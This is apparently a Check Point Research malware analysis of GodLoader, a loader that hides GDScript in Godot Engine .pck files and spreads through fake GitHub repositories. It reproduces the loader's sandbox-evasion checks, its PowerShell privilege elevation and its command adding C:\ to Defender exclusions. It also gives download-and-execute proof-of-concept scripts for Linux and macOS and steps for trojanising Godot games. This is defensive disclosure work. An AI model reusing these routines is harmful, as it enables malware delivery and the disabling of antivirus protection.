Key Points
- Check Point Research discovered a new technique taking advantage of Godot Engine, a popular open-source game engine, to execute crafted GDScript, code which triggers malicious commands and delivers malware. The technique remains undetected by almost all antivirus engines in VirusTotal.
- Check Point identified GodLoader, a loader that employs this new technique. The threat actor behind this malware has been utilizing it since June 29, 2024, infecting over 17,000 machines
- The malicious GodLoader is distributed by the Stargazers Ghost Network, a GitHub network that distributes malware as a service. Throughout September and October, approximately 200 repositories and over 225 Stargazers were used to legitimize the repositories distributing the malware.
- This new technique allows threat actors to target and infect devices across multiple platforms, such as Windows, macOS, Linux, Android, and iOS.
- Check Point Research demonstrates how this multi-platform technique can successfully drop payloads in Linux and MacOS.
- A potential attack can target over 1.2 million users of Godot-developed games. These scenarios involve taking advantage of legitimate Godot executables to load malicious scripts in the form of mods or other downloadable content.
Introduction
Cybercriminals constantly try to evolve their tactics and techniques, aiming to increase infections. Their need to stay undetected pushes them to innovate and discover new methods of delivering and executing malicious code, which can result in credentials theft and even ransomware encryption. Check Point Research discovered a new undetected technique that uses Godot Gaming Engine to execute malicious GDScript code.
Godot Engine is an open-source, feature-rich game development platform designed for creating 2D and 3D games known for its flexibility, user-friendly interface, and comprehensive set of tools. Godot allows developers to export games to various platforms, including Windows, macOS, Linux, Android, iOS, HTML5 (Web), and more, making it versatile for different audiences. The engine uses a Python-like scripting language called GDScript, explicitly designed for game development. It also supports VisualScript and C# for developers familiar with Microsoft’s programming ecosystem.
Godot has a vibrant and growing community of developers who value its open-source nature and powerful capabilities. Over 2,700 developers contributed to the Godot gaming engine, while more than 1,550 supporters donate approximately $61,500 each month to the Development Fund, ensuring the future of the Godot engine. On platforms like Discord, YouTube, and other social media platforms, the Godot engine has around 80,000 followers who stay updated on the latest news.
Since at least June 29, 2024, cybercriminals have been taking advantage of Godot Engine to execute crafted GDScript code which triggers malicious commands and delivers malware. This technique has remained undetected by most Antivirus tools on VirusTotal, possibly infecting more than 17,000 machines in just a few months. The loader using this novel technique, GodLoader, has been distributed throughout September and October via the Stargazers Ghost Network. This network operates as a Distribution as a Service (DaaS), enabling the “legitimate” distribution of malware through GitHub repositories.
For the distribution of GodLoader, approximately 200 repositories and more than 225 Stargazer Ghost accounts were used. These accounts have been starring the malicious repositories that distribute GodLoader, making them appear legitimate and safe. The repositories were released in four separate waves, primarily targeting developers, gamers, and general users. The waves of attacks occurred on the following dates:
- 2024-09-12
- 2024-09-14
- 2024-09-29
- 2024-10-03
New Technique – Technical Analysis
Godot uses .pck (pack) files to bundle game assets and resources, such as scripts, scenes, textures, sounds, and other data. The game can load these files dynamically, allowing developers to distribute updates, downloadable content (DLC), or additional game assets without modifying the core game executable. These pack files might contain elements related to the games, images, audio files, and any other “static” files. In addition to these static files, .pck files can include scripts written in GDScript (.gd). These scripts can be executed when the .pck is loaded using the built-in callback function _ready(), allowing the game to add new functionality or modify existing behavior.
Godot Engine provides an execution environment for GDScript, enabling game developers to create game-play logic, control scenes, and interact with game objects. GDScript includes most modern language features, including object support and multi-threading.
Threat actors take advantage of Godot engine and GDScript, which use this new technique to execute malicious code, download malware, and deploy it while remaining undetected. As GDScript is a fully functional language, it offers threat actors many functionalities, from Anti-Sandbox and Anti-VM to executing remote payloads. Threat actors maliciously craft GDScript code and then load it with a loader utilizing the Godot Engine. While we have obtained Windows samples, this technique can also be used for cross-platform infections. The Godot Engine executable and the maliciously crafted GDScript are system-dependent when interacting with the operating system (OS).
Pack files can be separate files with a .pck extension or embedded inside the binary as a .pck section. Either way, the process loads the file/section and decrypts the encrypted (recommended by Godot documentation), and the engine executes the GDScripts. Initial samples obtained contained the pack file embedded and decrypted, while subsequent samples started using external pack files and encryption.
The Pack file structure, as shown below, contains the .pck headers, information about each packed file, and its contents. The contents are encrypted if the author specified an AES key during the build.
Cross-platform GodLoader
The Godot game engine allows developers to export their projects to various platforms, as explained in the Godot Engine guidelines:
“Games can be exported with one click to a number of platforms, including the major desktop platforms (Linux, macOS, Windows), mobile platforms (Android, iOS), as well as Web-based platforms and consoles.”
Cross-platform support allows threat actors to export GodLoader with minor OS changes to other platforms.
While our initial discovery targeted Windows machines, Check Point Research assessed the ease of developing loaders for platforms beyond Windows. The simplicity of creating loaders is largely dependent on the target platform, as most core loader functionality relies on other executables and the operating system itself. The Godot Engine primarily functions as an execution environment for GDScript code. This technique can be demonstrated by using the original version of Godot on Linux and MacOS. An Android loader also seems possible but requires modifications to the Godot Engine. However, an iOS version is unlikely due to Apple’s strict App Store policies, which would make deployment challenging.
Both the macOS and Linux proof of concepts (POCs) operate similarly to the original Windows loader. They each feature a button that, when clicked by the user, triggers the download and execution of a payload. For demonstration purposes, we chose to launch the calculator as the payload.
Linux POC
GDScript Linux POC code:
func _linux_do() -> void: print("linux do enter ...") var cat_out = [] var pay_out = "/tmp/l.sh" OS.execute("wget", ["-O", pay_out, "<http://192.168.56.103:9000/l.sh>"], cat_out) OS.execute("chmod", ["+x", pay_out], cat_out, true) OS.execute(pay_out, [], cat_out, true) OS.execute("rm", [pay_out], cat_out, true) print(cat_out) print("linux do exit ...")
Code of Linux payload:
#!/bin/sh /usr/bin/galculator
MacOS POC
MacOS GDScript POC code:
func _mac_do() -> void: print("mac do enter ...") var cat_out = [] var pay_out = "/tmp/c.sh" OS.execute("/opt/homebrew/bin/wget", ["-O", pay_out, "<http://192.168.15.10:9000/c.sh>"], cat_out, true) OS.execute("chmod", ["+x", pay_out], cat_out, true) OS.execute(pay_out, [], cat_out, true) OS.execute("rm", [pay_out], cat_out, true) print(cat_out) print("mac do exit ...")
MacOS payload:
#!/bin/zsh open -a Calculator
Stargazers Ghost Network Campaigns Distributing GodLoader
Stargazers Ghost Network delivers all sorts of malware with high infection rates, providing a new and successful method for gaining initial access. Recently, Check Point Research discovered GodLoader, distributed across multiple repositories and primarily targets developers and gamers.
The campaign began on October 3, 2024, using 100 unique repositories. It distributed an archive containing two files: 1) Launcherkks.exe
and 2) Launcherkks.pck
. Each repository was starred by one to twelve accounts and utilized the github-actions[bot] to update the LOG with the current date and time. This strategy appears to enhance the visibility of the repositories in GitHub searches, making them appear as the most recently updated ones.
The downloaded RAR archive, which was not password protected, had a unique random name. The Stargazers Ghost Network had distributed the same archive in previous campaigns on September 12, September 14, and September 29, 2024. Check Point Research discovered over 196 repositories distributing the malicious GodLoader, with more than 225 stargazers having starred these repositories.
As of October 8, 2024, the distributed archive and the embedded files appear undetected by all the major Antivirus engines. Considering this technique has existed in the wild since at least June 29, 2024, it poses a danger for all kinds of users. Laucnherkks.exe
loads the .pck
file with the same name and decrypts the Pack File containing the malicious GDScript, downloading the next-stage payload.
Across other data, the Pack File stores the MD5 hash. Enumerating the .pck entries with a simple Python script gives us the following hashes:
$ py3 1.py 260f06f0c6c1544afcdd9a380a114489ebdd041b846b68703158e207b7c983d6\\Launcherkks.pck records_num: 14 offset: 00000064 0 : 000015d0 : 00001aa2 : b'480c9ce7b6f60aa42e9a5886da844b67' : b'res://.godot/exported/133200997/export-e66311c87c39ec8c25379305b5ae724b-control.scn\\x00' offset: 000000e0 1 : 0005c7b0 : 0000001b : b'9984d0a0b5388a08ddd4387e247d50da' : b'res://.godot/global_script_class_cache.cfg\\x00\\x00' offset: 00000134 2 : 000030b0 : 00000d1c : b'efbc9a5174dc45bf0d631c4faedd17a8' : b'res://.godot/imported/icon.svg-218a8f2b3041327d8a5756f3a245f83b.ctex' offset: 000001a0 3 : 00003f00 : 000001ec : b'2078f4397407b82d92a9aec7ca409726' : b'res://.godot/imported/iconka.png-33ab33dfde13e2f89482bff662349c82.ctex\\x00\\x00' offset: 00000210 4 : 00004220 : 000006fc : b'd3575a49bea6bd54a543d720412134b3' : b'res://.godot/imported/saaasf.png-5b88526524374dc75cb75ac9dda020f8.ctex\\x00\\x00' offset: 00000280 5 : 0005cd70 : 00000074 : b'bef08eff4910a50e6997fbe21bb8b594' : b'res://.godot/uid_cache.bin\\x00\\x00' offset: 000002c4 6 : 00000000 : 000015a0 : b'c7d5a8188ea302ab78d6a529e90d43b8' : b'res://control.gd' offset: 000002fc 7 : 0005c710 : 00000064 : b'6501ebb8f3472c28c2396b32dee370f7' : b'res://control.tscn.remap' offset: 0000033c 8 : 00003e00 : 000000c1 : b'e41f0625a4574d3424e7bfa11a1f6416' : b'res://icon.svg.import\\x00\\x00\\x00' offset: 0000037c 9 : 00004a50 : 00057c87 : b'9a4ac6322a57b14acb3157c9cd83cd76' : b'res://iconka.ico' offset: 000003b4 10 : 0005c800 : 00000539 : b'ee60134b5708931be25b58780c0ff8a5' : b'res://iconka.png' offset: 000003ec 11 : 00004120 : 000000c3 : b'8e09c87e2e69a9b58341050b5e38134d' : b'res://iconka.png.import\\x00' offset: 0000042c 12 : 0005ce20 : 00000727 : b'7c91efbcaa02854d951ac79000b77017' : b'res://project.binary' offset: 00000468 13 : 00004950 : 000000c3 : b'639864b85bd3ec6d8bb00f7e08d145d9' : b'res://saaasf.png.import\\x00'
The malicious GDScript is found and executed by the file control.gd
. The script employs various anti-sandbox and emulation techniques before downloading and executing two executable files from bitbucket.org. It also includes two comments written in Russian, which could indicate the author’s country of origin.
# Закрываем текущее окно
, “Close the current window”# Закрываем приложение после показа сообщения
, “Close the application after showing the message”
GDScript
flow contains the following pieces in order to succeed:
- code to evade analysis in sandbox, anti-sandbox
- code to evade detection of malicious payload by Microsoft Defender
- code to download the payload and execute it
The high-level flow of the script looks like this:
Sandbox evasion is achieved by checking if the 3D Video Acceleration feature is available. The following piece of code forces the Godot engine to use 3D Video Accelerations:
func request_admin_privileges(): var godot_executable = OS.get_executable_path() var godot_args = OS.get_cmdline_args() if "--rendering-driver opengl3" not in godot_args: godot_args.append("--rendering-driver") godot_args.append("opengl3") godot_args.append("--admin-requested") var args_string = " ".join(godot_args) var ps_command = """ Start-Process -FilePath '%s' -ArgumentList '%s' -Verb RunAs """ % [godot_executable, args_string] var args = PackedStringArray(["-Command", ps_command]) var output = [] var exit_code = OS.execute("powershell.exe", args, output, true) if exit_code == 0: get_tree().quit() # Закрываем текущее окно else: show_windows_message_box()
If 3D acceleration hardware is not present in the system, then the application terminates with the following message:
Another anti-sandbox technique creates a graphical button that, once clicked, proceeds to infect potential victims.
While inspecting GodLoader, we identified a few sandbox evasion techniques. One technique uses a 3D Video Graphics adapter name to check if it is running in a virtual environment:
func _on_gpu_check_completed(gpu_names: Array): var success = false for name in gpu_names: var gpu_name_lower = name.to_lower() if (gpu_name_lower.find("nvidia") != -1 or gpu_name_lower.find("amd") != -1 or gpu_name_lower.find("radeon") != -1 or gpu_name_lower.find("rx") != -1): success = true break if success: text = "WAIT. UPDATING..." _start_execution() else: show_message_box("Outdated, wait for the update", "Warning") _finish_execution(false) func get_gpu_names() -> Array: var output = [] var ps_command = 'Get-WmiObject -Class Win32_VideoController | ForEach-Object { $_.Name }' var args = ["-Command", ps_command] var exit_code = OS.execute("powershell.exe", args, output, true) var gpu_names = [] for line in output: var gpu_name = line.strip_edges() if not gpu_name.is_empty(): gpu_names.append(gpu_name) return gpu_names func _check_gpu_in_thread(): var gpu_names = get_gpu_names() call_deferred("_on_gpu_check_completed", gpu_names)
This code segment retrieves all video controller names installed in the system. It then checks whether these names contain any predefined strings. If none of the strings match, the script aborts the infection process.
Another evasion technique uses the size of available free space to identify the virtual environment:
func _check_space_in_thread(): var total_space_gb = get_total_free_space_gb() call_deferred("_on_space_check_completed", total_space_gb) func _on_space_check_completed(total_space_gb: float): is_executing = false if total_space_gb > 360: add_folder_to_windows_defender_exclusions() _start_execution() else: show_message_box("Outdated, wait for the update", "Warning") func get_total_free_space_gb() -> float: var cmd = 'powershell -Command "Get-PSDrive -PSProvider FileSystem | Where-Object { $_.Free -gt 0 } | Measure-Object -Property Free -Sum | Select-Object -ExpandProperty Sum"' var result = [] var exit_code = OS.execute("cmd", ["/c", cmd], result, true) if exit_code == 0: var output = "" for line in result: output += line + "\\n" output = output.strip_edges() var space_bytes = output.to_float() if space_bytes > 0 or output == "0": var space_gb = space_bytes / 1_073_741_824.0 return space_gb else: return -1.0 else: return -1.0
Both of these techniques use powershell.exe
to retrieve system properties.
As demonstrated in the code snippet, admin privileges are checked within the same function. In the next step, the script attempts to add the entire C:\\
disk to the Microsoft Defender exclusions list:
var ps_command = """ Add-MpPreference -ExclusionPath 'C:\\\\'; """ var args = PackedStringArray(["-Command", ps_command]) var output = [] OS.execute("powershell.exe", args, output, true)
Subsequently, the script attempts to download and execute payload files sequentially. Interestingly, the downloaded payloads were hosted on bitbucket.org
, a legitimate code collaboration and project management platform. The two payloads were uploaded on June 29 and August 7, 2024. The oldest sample appears to have been downloaded more than 17,000 times, indicating the number of potential victims. Searching for more GodLoader samples, Check Point Research considers this exploitation to be the first time it has been used, with the first campaign occurring on 2024-06-29.
The earliest and most frequently downloaded file, Updatemmmm.exe
, is the miner XMRig. The file uploaded on August 7, 2024, UpdateSSSS.exe
was updated three times with three different hashes corresponding to this filename.
- the first version of the file from June 29, 2024., RedLine with C&C:
147.45.44.83:6483
- the second on July 6, 2024, RedLine with C&C:
185.196.9.26:6302
- the last on August 7, 2024, RedLine with C&C:
185.196.9.26:6302
Hash | File |
B1A351EE61443B8558934DCA6B2FA9EFB0A6D2D18BAE61ACE5A761596604DBFA | asdz2.png (XMRig) |
B1A351EE61443B8558934DCA6B2FA9EFB0A6D2D18BAE61ACE5A761596604DBFA | Updatemmmm.exe (XMRig) |
6BE9C015C82645A448831D9DC8FCAE4360228F76DFF000953A76E3BF203D3EC8 | sdadsasad.png (1st RedLine) |
604FA32B76DBE266DA3979B7A49E3100301DA56F0B58C13041AB5FEBE55354D2 | UpdateSSSS.exe (last RedLine) |
For more than three months, the threat actor hosted malicious files on a legitimate platform that remained undetected for an extended period, infecting more than 17,000 victims. During this period, the threat actor made very few modifications and only changed the C&C twice, which is an impressive amount of time spent running a C&C of a known and well-tracked malware family.
The XMRig miner reached a private paste in pastebin
to retrieve its configuration. The private paste 7bG9giRJ uploaded on May 10, 2024, containing the XMRig configuration related to the campaign, has been visited 206,913 times.
The account
behind this paste also appears to have some public configurations, with the earliest being December 10, 2021. According to these configurations, the threat actor primarily owns Monero and Ethereum, which is not surprising for Cybercriminals. @
SKRASH1
GodLoader Evolution
Since June 29, 2024, the malware GodLoader has transitioned from containing an embedded .pck
file as a PE section to having it as a separate file and from being decrypted to encrypted. The main functionality is concentrated inside the .pck
segment of the Godot executable. The Pack file could be transported separately or in sections inside the executable. While the main evolution of malicious code happens within the .pck
file, in later stages, the actor also attempted to improve the evasion level and encrypt the .pck
file.
The earliest GDScript related to GodLoader is dated June 29, 2024. This variant appears to be nearly finalized. The script contains the code to:
- Check for granted Administrator Rights and request them if they are not granted
- Add
c:\\
to the MS Defender exclusions list - Download and execute a payload
Later, the threat actor begins to experiment with evasion techniques.
One notable aspect of this initial version is the small details the author did not clarify; for instance, the warning dialog requesting the user to grant Admin Permissions is displayed with the title in Russian. The title translates as “warning”:
A new variant was submitted to VirusTotal on June 30, 2024. In this variant, the actor added multi-threading: now, the payload is downloaded in a separate thread, and Russian text from the warning dialog was removed.
On July 1, 2024, an additional variant of the Godot resource file was submitted to VirusTotal. This time, resources files were restructured:
- Script code was copied from file
scn
to filegd
. - Godot parameter
application/config/name
was changed from BLACKLAUCNHER to NewLauncher.
The next variant was observed on August 6, 2024, and includes the following changes:
- The actor added a free space check, used as a sandbox analysis evasion technique. The application does not download any payload if the free space on all drives is less than 360GB.
- A TLS certificate was added to the configuration under the Godot options name
network/tls/certificate_bundle_override
.
The next change was made on August 22, 2024, with the following updates:
- The actor switched to a different Sandbox evasion technique. This time, the script checked the names of available 3D video graphics adapters and continued to operate only if any of the following strings were found in the names:
Nvidia
,AMD
,Radeon
,rx
. - Links to malicious payloads have been updated. New links were unavailable at the time of writing.
The following day, August 23, 2024, new payload links replaced the old ones.
On August 26, a new variant was spotted on VT. This time, the actor created an additional folder under C:/ProgramData
named Update
to save the downloaded payload.
The final version we obtained is marked as first seen on September 4, 2024. In this variant, the actor encrypted the resource file with the help of the stock Godot engine. The Godot engine allows developers to encrypt resource files with an AES cipher.
The following is the key used for the encryption of .pck
file:
FB 30 66 F5 3A FA 7A B9 AA 44 4C 59 18 6C 75 0E 4E 23 7C 5E 5E FF B5 60 E5 12 34 00 BC 76 72 4D
Potential Attack Scenario(s)
At this time, this new technique has been implemented by utilizing Godot Engines executables, which threat actors built. However, there is also the possibility of infecting legit Godot games by either replacing the legit .pck
file with a malicious one or by “infecting” a legit Godot Engine by replacing the pck
section with the malicious one. While we have not seen any current indications of this technique exploited in the wild, the possible scenario resembles DLL Hijacking.
This scenario would require the attackers to obtain the AES key used by the legitimate engine executable, which is used to encrypt/decrypt the legitimate .pck
file. As long as the Godot pck
file is encrypted with a symmetric algorithm, the key can be used for encryption and decryption and obtained by the Godot Engine executable. Threat actors must obtain the AES key, pack and encrypt their pck file with the same key.
Threat actor steps to exploit legitimate Godot Engine game:
- Obtain the Godot game executable.
- Reverse and obtain AES Key.
- Craft a malicious
pck
file and encrypt it with the obtained key. - Trick specific game users to replace the current
pck
file with a malicious one.
If the game executable embeds the contents of the pack file, a similar process is required. Potentially, an “infector”, could replace the pck section contents with the malicious file. The infector may contain embedded or download from the remote server the malicious pck content and search to find the Godot engine executable and infect it while respecting the PE headers.
This attack scenario, which infects legitimate Godot-built games, can be prevented by enforcing pack data encryption and changing the encryption method from a symmetric (AES) algorithm to an asymmetric one. By reversing and grabbing the decryption key, threat actors won’t be able to encrypt their malicious pack file with a valid key since they will need to obtain the private key from the authors.
Threat actors could attack popular Godot-developed games as game mods or cheats targeting their audience. Based on popular games developed with Godot, this technique could potentially target a massive gaming base of more than 1.2 million players.
Conclusion
In conclusion, the Godot Engine is a legitimate software designed as an open-source game development tool that has been leveraged for malicious purposes due to its flexibility and the relative obscurity in malware development. Threat actors have utilized Godot’s scripting capabilities to create custom loaders that remain undetected by many conventional security solutions. Since Godot’s architecture allows platform-agnostic payload delivery, attackers can easily deploy malicious code across Windows, Linux, and macOS, sometimes even exploring Android options. Additionally, the simplicity of GDScript, combined with Godot’s ability to integrate into various operating systems, enables attackers to bypass traditional detection methods.
The threat actor behind this attack distributed GodLoader utilizing the Stargazers Ghost Network. This Ghost Network has demonstrated sophistication and success in its campaigns, exploiting trust in open-source and legitimate software repositories to distribute malware discreetly. By masquerading as reputable applications or tools, the network attracts unsuspecting users who download and install what they believe to be safe software. This approach allows the malware to spread widely and rapidly, with thousands of users affected relatively quickly.
Combining a highly targeted distribution method and a discreet, undetected technique has resulted in exceptionally high infection rates. This cross-platform approach enhances malware versatility, giving threat actors a powerful tool that can easily target multiple operating systems. This method allows attackers to deliver malware more effectively across various devices, maximizing their reach and impact.
Mitigations
To mitigate the risks of threats like GodLoader, it is essential to keep operating systems and applications updated through timely patches and other means. Individuals should exercise caution when dealing with unexpected emails or messages containing links, particularly from unknown senders. Enhancing cybersecurity awareness among employees is also crucial, as it helps create a more vigilant workforce. Lastly, consulting security specialists for any doubts or uncertainties can provide valuable expertise and guidance in navigating potential security challenges.
Protection
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect its customers against this type of attack and malware families described in this report.
- Technique.win.GDscript.*
- Dropper.Win.Godot.*
Indicators of Compromise
Description | Value |
---|---|
Archive distributed by Stargazers Ghost Network | 260f06f0c6c1544afcdd9a380a114489ebdd041b846b68703158e207b7c983d6 |
Launcherkks.exe | 3317b8e19e19218e5a7c77a47a76f36e37319f383b314b30179b837e46c87c45 |
Launcherkks.pck | 0d03c7c6335e06c45dd810fba6c52cdb9eafe02111da897696b83811bff0be92 |
RedLine | 604fa32b76dbe266da3979b7a49e3100301da56f0b58c13041ab5febe55354d2 6be9c015c82645a448831d9dc8fcae4360228f76dff000953a76e3bf203d3ec8 |
XMRig | b1a351ee61443b8558934dca6b2fa9efb0a6d2d18bae61ace5a761596604dbfa |
RedLine C&Cs | 147.45.44.83:6483 185.196.9.26:6302 |
The post Gaming Engines: An Undetected Playground for Malware Loaders appeared first on Check Point Research.
Article Link: Gaming Engines: An Undetected Playground for Malware Loaders - Check Point Research